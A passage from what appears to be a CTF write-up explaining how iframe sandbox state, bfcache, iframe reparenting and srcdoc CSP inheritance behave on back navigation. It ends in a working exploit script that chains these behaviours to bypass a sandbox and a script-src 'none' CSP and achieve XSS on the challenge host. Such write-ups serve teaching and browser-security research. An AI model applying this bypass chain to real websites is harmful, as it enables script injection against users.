punctuation">"</span>data:text/html,test1:&lt;script>document.writeln(Math.random())&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript"><span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>load test2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">function</span> <span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    f<span class="token punctuation">.</span><span class="token function">removeAttribute</span><span class="token punctuation">(</span><span class="token string">'sandbox'</span><span class="token punctuation">)</span>    f<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token string">'data:text/html,test2:&lt;script>document.writeln(Math.random())&lt;\/script>'</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><ol><li>First, load test1 into the iframe and add a sandbox, so the script will not execute.</li><li>Press the loadTest2 button to remove the iframe’s sandbox and navigate to test2, so the script will execute.</li></ol><p>At this point, if you press the back button, the iframe will naturally return to test1. However, the sandbox may have two situations:</p><ol><li>The sandbox also returns to the state when loading test1.</li><li>The sandbox maintains its current properties, meaning there is no sandbox.</li></ol><p>The answer will be 2; the sandbox’s properties do not change. Therefore, after pressing back, the sandbox is gone, and the script in test1 can now execute.</p><p>It actually feels quite reasonable, after all, you only changed the src, and did not modify the sandbox, so the sandbox remains in its latest state.</p><h3><span id="2-iframe-reparenting-and-bfcache">2. iframe reparenting and bfcache</span></h3><p>The previous situation involved changing the sandbox and loading a new src, then going back to the previous page. Next, let’s look at another situation where the first half is the same, but after loading a new src, we do not directly go back to the previous page; instead, we first navigate the entire webpage to another page and then go back:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">sandbox</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>f</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>data:text/html,test1:&lt;script>document.writeln(Math.random())&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript"><span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>load test2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript">location <span class="token operator">=</span> <span class="token string">'a.html'</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>top level navigation<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'run'</span><span class="token punctuation">)</span>  <span class="token keyword">function</span> <span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    f<span class="token punctuation">.</span><span class="token function">removeAttribute</span><span class="token punctuation">(</span><span class="token string">'sandbox'</span><span class="token punctuation">)</span>    f<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token string">'data:text/html,test2:&lt;script>document.writeln(Math.random())&lt;\/script>'</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The testing process is:</p><ol><li>Wait for the iframe to finish loading, and you will see test1 on the screen. At this point, because there is a sandbox, the script will not execute.</li><li>Press the load test2 button to remove the sandbox and load test2, causing the script to execute.</li><li>Press the top-level navigation to jump the webpage to another location.</li><li>Press the back button in the browser.</li></ol><p>So what is the expected situation after pressing the back button? There will be two results based on whether there is a bfcache; first, let’s look at the case with bfcache.</p><p>If there is a bfcache, pressing the back button will return to the same state as before, and you can observe:</p><ol><li>The console does not show run, indicating that the script will not be executed again.</li><li>The iframe’s src is test2.</li><li>The random number in test2 is the same as before, indicating that the script in the iframe has not been executed again.</li></ol><p>After all, it’s called bfcache, so it will completely retain the previous state without reloading the webpage.</p><p>What if there is no bfcache? Logically, the webpage should reload, so the expected situation would be as it was at the very beginning:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">sandbox</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>f</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>data:text/html,test1:&lt;script>document.writeln(Math.random())&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This means that a sandboxed iframe loads test1.</p><p>However, if you actually press the back button, you’ll find that the result is neither the initial sandbox + test1 nor the previous no sandbox + test2, but rather a combination of both: sandbox + test2.</p><p>In other words, the sandbox attribute maintains the latest state of the page, which is present, but the iframe’s src is not the latest; it remains at the historical record of test2. When combined, it becomes sandboxed test2.</p><p>This mechanism of “when going back, the iframe’s src returns to the last content” is called iframe reparenting. It seems there is no corresponding spec that fully describes it, and the implementations across different browsers vary.</p><p>This behavior can be summarized as: “I have a page loaded by an iframe in my history, and now that you’ve pressed back, to enhance user experience, I want to place this page back into the iframe.” The paradox is that the attribute does not carry over the last one but directly uses the current page’s.</p><p>If we reverse the process, it becomes a kind of iframe sandbox bypass:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>f</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>data:text/html,test1:&lt;script>document.writeln(Math.random())&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript"><span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>load test2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript">location <span class="token operator">=</span> <span class="token string">'a.html'</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>top level navigation<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'run'</span><span class="token punctuation">)</span>  <span class="token keyword">function</span> <span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    f<span class="token punctuation">.</span><span class="token function">setAttribute</span><span class="token punctuation">(</span><span class="token string">'sandbox'</span><span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">)</span>    f<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token string">'data:text/html,test2:&lt;script>document.writeln(Math.random())&lt;\/script>'</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>We first load a safe test1 without the sandbox attribute, and then we want to load the malicious test2, so we add the sandbox attribute, thinking that this would be fine.</p><p>But little do we know that if you navigate the page elsewhere and then go back, you will encounter test2 without the sandbox.</p><p>In summary, remember that when you go back:</p><ol><li>The sandbox attribute always follows the latest page.</li><li>The src will be the last loaded webpage.</li></ol><p>2025-10-10 updates:</p><p>Chrome made a change in September 2025: <a href="https://developer.chrome.com/docs/web-platform/bfcache-ccns">Enabling bfcache for Cache-Control: no-store</a>. Chrome will enable bfcache even when HTTP caching is disabled, which causes the above test to fail.</p><p>However, as the article explains, you can easily disable bfcache by opening a WebSocket connection, for example:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>f</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>data:text/html,test1:&lt;script>document.writeln(Math.random())&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript"><span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>load test2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript">location <span class="token operator">=</span> <span class="token string">'a.html'</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>top level navigation<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token comment">// to disable bfcache</span>  <span class="token keyword">const</span> ws <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebSocket</span><span class="token punctuation">(</span><span class="token string">'ws://example.com'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'run'</span><span class="token punctuation">)</span>  <span class="token keyword">function</span> <span class="token function">loadTest2</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    f<span class="token punctuation">.</span><span class="token function">setAttribute</span><span class="token punctuation">(</span><span class="token string">'sandbox'</span><span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">)</span>    f<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token string">'data:text/html,test2:&lt;script>document.writeln(Math.random())&lt;\/script>'</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="3-inheritance-of-csp">3. Inheritance of CSP</span></h3><p>If using iframe src, since it embeds another independent webpage, there is no relation between the CSPs of the two pages, and they do not affect each other. However, if using srcdoc, there is an inheritance relationship.</p><p>For example, with the following code:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">http-equiv</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Content-Security-Policy<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>script-src 'none'<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">srcdoc</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Test:&lt;script>document.writeln(Math.random())&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>a.html<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>top level navigation<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'run'</span><span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Due to the <code>script-src &#39;none&#39;</code> CSP, scripts on the page will not execute, and scripts in the srcdoc will also not execute, because typically the CSP of an iframe srcdoc inherits from its parent, which sounds reasonable.</p><p>Next, let’s try something similar to what we just did:</p><ol><li>Confirm that there is a CSP on the page.</li><li>Confirm that the script in srcdoc cannot execute.</li><li>Press top-level navigation to go to another page.</li><li>Update the file and remove the CSP from the head manually.</li><li>Press back.</li></ol><p>Assuming there is no bfcache, what will happen when I return to this webpage? The expected behavior should be: “Just like the first load,” so the scripts on the page and the scripts in the srcdoc should have no CSP and should be able to execute code.</p><p>But the answer is:</p><ol><li>The page indeed has no CSP, so the script can execute, and it prints run.</li><li>However, the script in srcdoc is blocked by the CSP and cannot execute.</li></ol><p>This means that at this point, the CSP of the iframe srcdoc does not inherit from the current page but from the results in history, which causes this situation.</p><p>In technical terms, this is called session history and policy container. The CSP of the iframe comes from the policy container, and the stored results of this policy container are related to session history. However, since I haven’t delved deeply into these two technical terms, I won’t elaborate further.</p><h3><span id="putting-it-all-together">Putting It All Together</span></h3><p>From the above points, we know a few things when you go back:</p><ol><li>The sandbox attribute always follows the latest page.</li><li>The src will be the last loaded webpage.</li><li>The CSP of srcdoc will inherit the previous results.</li></ol><p>The behavior of the sandbox is clearly different from the other two; it is the only one that follows the latest page, while the other two follow the last results.</p><p>Now, let’s review the core code of the topic (I removed the check for opener for better understanding of the core concept):</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">  &lt;script>  document.head.insertAdjacentHTML(    "beforeend",    \`&lt;meta http-equiv="Content-Security-Policy" content="script-src 'none';">\`  );  &lt;/script>  &lt;iframe srcdoc="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">escape</span><span class="token punctuation">(</span>memo<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">">&lt;/iframe></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">.</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>In the first step, we load a sandbox iframe, and the src will be our XSS payload:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> challengeHost <span class="token operator">=</span> <span class="token string">'http://localhost:1337'</span><span class="token keyword">const</span> xssPayload <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;script>alert(1)&lt;\/script></span><span class="token template-punctuation string">`</span></span><span class="token keyword">const</span> payload <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;iframe sandbox="allow-same-origin" src="/memo?memo=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>xssPayload<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"></span><span class="token template-punctuation string">`</span></span><span class="token keyword">const</span> win <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>challengeHost<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/memo?memo=</span><span class="token template-punctuation string">`</span></span> <span class="token operator">+</span> payload<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>At this point, the content of this win will be:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">http-equiv</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Content-Security-Policy<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>script-src 'none';<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">srcdoc</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">'</span>    &lt;iframe      sandbox="allow-same-origin"      src="/memo?memo=&lt;script>alert(1)&lt;/script>">    &lt;/iframe>  <span class="token punctuation">'</span></span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>If we zoom in a bit on that sandbox iframe, the content inside this iframe is:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span> <span class="token comment">&lt;!-- Empty head, no CSP --></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">srcdoc</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>&lt;script>alert(1)&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>Due to the sandbox, the script will not execute, so there will be no CSP. However, because of the sandbox, the script in the srcdoc will also not execute.</p><p>Next, we navigate to another page and open <code>/memo?memo=&lt;iframe&gt;&lt;/iframe&gt;</code>, at which point the content in the cookie will be replaced.</p><p>Then we use <code>history.back()</code> to go back. At this time, as mentioned earlier, the webpage will reload, so the HTML of the webpage becomes:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">http-equiv</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Content-Security-Policy<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>script-src 'none';<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">srcdoc</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">'</span>        &lt;iframe>&lt;/iframe>    <span class="token punctuation">'</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Although it looks empty, due to the reparenting behavior mentioned earlier, the content of that empty iframe will be the previous <code>/memo?memo=&lt;script&gt;alert(1)&lt;/script&gt;</code>.</p><p>Next, also because of the previously mentioned characteristic: “the sandbox attribute always follows the current page,” the sandbox of this iframe is now gone. Since the sandbox is gone, the content becomes:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">http-equiv</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Content-Security-Policy<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>script-src 'none';<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">srcdoc</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>&lt;script>alert(1)&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>Originally, the CSP was empty, but since the sandbox is gone, it has come back.</p><p>However, the last and most important point is that, as mentioned earlier: “the CSP of srcdoc will inherit the previous result,” so this srcdoc’s CSP is unrelated to the current page but inherits from the previous one. What was the previous CSP? It was empty, so the script can execute, successfully achieving XSS.</p><p>After removing the opener check from the problem, the exploit becomes much simpler and easier to understand:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">const</span> challengeHost <span class="token operator">=</span> <span class="token string">'http://localhost:1337'</span>  <span class="token keyword">const</span> xssPayload <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;script>alert(document.domain)&lt;\/script></span><span class="token template-punctuation string">`</span></span>  <span class="token keyword">const</span> payload <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;iframe sandbox="allow-same-origin" src="/memo?memo=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>xssPayload<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"></span><span class="token template-punctuation string">`</span></span>  <span class="token keyword">const</span> win <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>challengeHost<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/memo?memo=</span><span class="token template-punctuation string">`</span></span> <span class="token operator">+</span> payload<span class="token punctuation">)</span>  <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> win2 <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>challengeHost<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/memo?memo=&lt;iframe>&lt;/iframe></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span>    <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      win2<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span>      win<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token constant">URL</span><span class="token punctuation">.</span><span class="token function">createObjectURL</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Blob</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">        &lt;script>          setTimeout(() => &#123;           history.back();          &#125;, 500);        &lt;\/script>      </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"text/html"</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This is the solution to the problem, mainly relying on the fact that when returning to the previous page, the sources of the sandbox and CSP are different, creating a difference that achieves XSS.</p><h2><span id="summary">Summary</span></h2><p>According to the author, the inspiration for this problem came from this issue: <a 